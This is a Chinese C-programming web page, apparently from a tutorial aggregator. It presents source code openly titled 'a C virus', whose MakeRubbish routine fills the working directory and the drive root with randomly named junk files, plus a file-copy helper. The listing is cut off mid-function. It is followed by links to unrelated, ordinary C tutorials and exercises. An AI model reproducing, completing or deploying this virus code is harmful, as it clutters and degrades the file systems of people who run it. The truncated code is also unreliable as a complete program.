易截截图软件、单文件、免安装、纯绿色、仅160KB

一个C病毒 !

//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //定义文件指针
    in = fopen(infile,"r"); //打开文件
    out = fopen(outfile,"w"); //建立文件
    while (!feof(in)) //判断文件是否已结束
    {
        fputc (fgetc(in),out); //从in读一字符到out
    }
    fclose (in); //关闭in文件
    fclose (out);//关闭out文件
    return 0; //返回
}
int MakeRubbish (void)
{
    int i; //声明整形变量i
    FILE *fp; //文件指针fp
    char *path; //路径指针
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //循环4次
    {
        char tempname[] = "XXXXXX" ; //随机名字
        NewName = mktemp(tempname);  //建立唯一的文件名
        fp = fopen(NewName,"w");  //创建文本文件
        fclose (fp); //关闭fp文件流
    }
    path = strcat(disk[getdisk()],addtion); //得到根编号
    chdir(path); //改变工作目录
    for (i = 0; i<5; i++) //循环次数
    {
        char tempname[] = "XXXXXX"; //串赋入数组
        NewName = mktemp(tempname); //建立唯一的文件名
        fp = fopen(NewName,"w");    //创建新文件
        fclose (fp); //关闭文件
 &n


相关文档:

又是3只C。。。= =

1.写出两个函数,分别求两个整数的最大公约数和最小公倍数,用主函数调用这两个函数,并输出结果。两个整数由键盘输入。
#include<stdio.h>
int gcd(int,int);
int lcm(int,int);
int gcd(int m,int n)
{
if(m%n==0)
return n;
else
return gcd(n,m%n);
}
int lcm(int m,int n)
{
return m*n/(gc ......

c/c++void及void指针类型

c/c++void及void指针类型
  1.概述许多初学者对C/C++语言中的void及void指针类型不甚理解,因此在使用上出现了一些错误。本文将对void关键字的深刻含义进行解说,并详述void及void指针类型的使用方法与技巧。
  2.void的含义void的字面意思是“无类型”,void *则为“无类型指针”,void *可以指 ......

【转】C代码优化方案


1、选择合适的算法和数据结构
选择一种合适的数据结构很重要,如果在一堆随机存放的数中使用了大量的插入和删除指令,那使用链表要快得多。数组与指针语句具有十分密切的关系,一般来说,指针比较灵活简洁,而数组则比较直观,容易理解。对于大部分的编译器,使用指针比使用数组生成的代码更短,执行效率更高。
在许多 ......

《C程序设计第三版》课后作业【第一章】

1.1请根据自己的认识,写出C语言的主要特点。
1.2C语言的主要用途是什么?它和其他高级语言有什么异同?
1.3写出一个C程序的构成。
1.4C语言以函数为程序的基本单位,有什么好处?
1.5请参照本章例题,编写一个C程序,输出一下信息:
×××××××××××& ......

自己动手写一个判断网址合法的C\C++的正则表达式程序

#include<stdio.h>
#include<regex.h>
int main(int argc, char** argv)
{
if(IsLegalPage("http://www.baidu.com"))
printf("该网页合法\n");
else printf("该网页不合法!!!\n");
return 0;
}
/* 函数说明:判断网页是否合法
* 输入参数:需要判断的网 ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号